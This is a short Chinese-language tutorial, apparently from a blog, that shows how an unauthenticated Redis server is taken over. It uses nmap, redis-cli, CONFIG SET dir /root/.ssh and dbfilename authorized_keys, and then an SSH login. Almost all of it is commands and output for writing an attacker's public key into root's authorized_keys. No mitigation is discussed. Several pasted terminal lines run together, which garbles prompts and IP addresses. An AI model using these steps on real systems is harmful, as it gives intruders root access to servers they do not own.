Redis未授权访问导致服务器被控制

通过使用nmap扫描，发现某一端口对应的服务为Redis，然后我们可以尝试看看是否是未授权访问！

首先使用下列命令安装Redis tools：

root@kali:~# apt-get install redis-tools

然后通过下列命令看是否是未授权访问：

root@kali:~# redis-cli -h 10.198.131.110.198.131.1:6379>

然后我们可以使用免密登录的方式进行相关***：

生成公钥：

root@lsy:~/.ssh# ssh-keygen -t rsaroot@lsy:~/.ssh# cat id_rsa.pub ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3lO+OSwj2zQuGON15ATfVwJAtLLbiswFoV/uqFHrw0BxaWSHTWgtrlzXyDen/ktDDBjfERlDys0vcZ3NQZ0/W+fWzbQkZbj/ABFsthhdQpdWWRz6wwOxY2tAKYhiZTcLchdFTnrU3+fkwD+im2W966A5UEZZmzTzTi/qA9BZwZghRrEx8Mr5+jVhQ8mYbR0QooggxTlafsavsBAG/aBTShoEanOuL4Pdx5aevmT3ydhwEJFwQQjBkARc8AUFY8cyS0/iPzT010uZYYHCPzhzm25QUSSbvIz9m7Mjwno72/OhKMCmVURkY4S1O4yXFzk+TlQ8P5jm+/pomKd++aPSn root@lsyroot@lsy:~/.ssh#

将公钥写入远程服务器：

root@lsy:~/.ssh# redis-cli -h 10.198.131.110.198.131.1:6379> CONFIG SET dir /root/.ssh/OK10.198.131.1:6379> CONFIG SET dbfilename authorized_keysOK10.198.131.1:6379> set xxxx "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3lO+OSwj2zQuGON15ATfVwJAtLLbiswFoV/uqFHrw0BxaWSHTWgtrlzXyDen/ktDDBjfERlDys0vcZ3NQZ0/W+fWzbQkZbj/ABFsthhdQpdWWRz6wwOxY2tAKYhiZTcLchdFTnrU3+fkwD+im2W966A5UEZZmzTzTi/qA9BZwZghRrEx8Mr5+jVhQ8mYbR0QooggxTlafsavsBAG/aBTShoEanOuL4Pdx5aevmT3ydhwEJFwQQjBkARc8AUFY8cyS0/iPzT010uZYYHCPzhzm25QUSSbvIz9m7Mjwno72/OhKMCmVURkY4S1O4yXFzk+TlQ8P5jm+/pomKd++aPSn root@lsy\n\n\n"OK10.198.131.1:6379> saveOK10.198.131.1:6379> exit

使用ssh远程登录：

root@lsy:~/.ssh# ssh 10.198.131.1

免密登录成功：
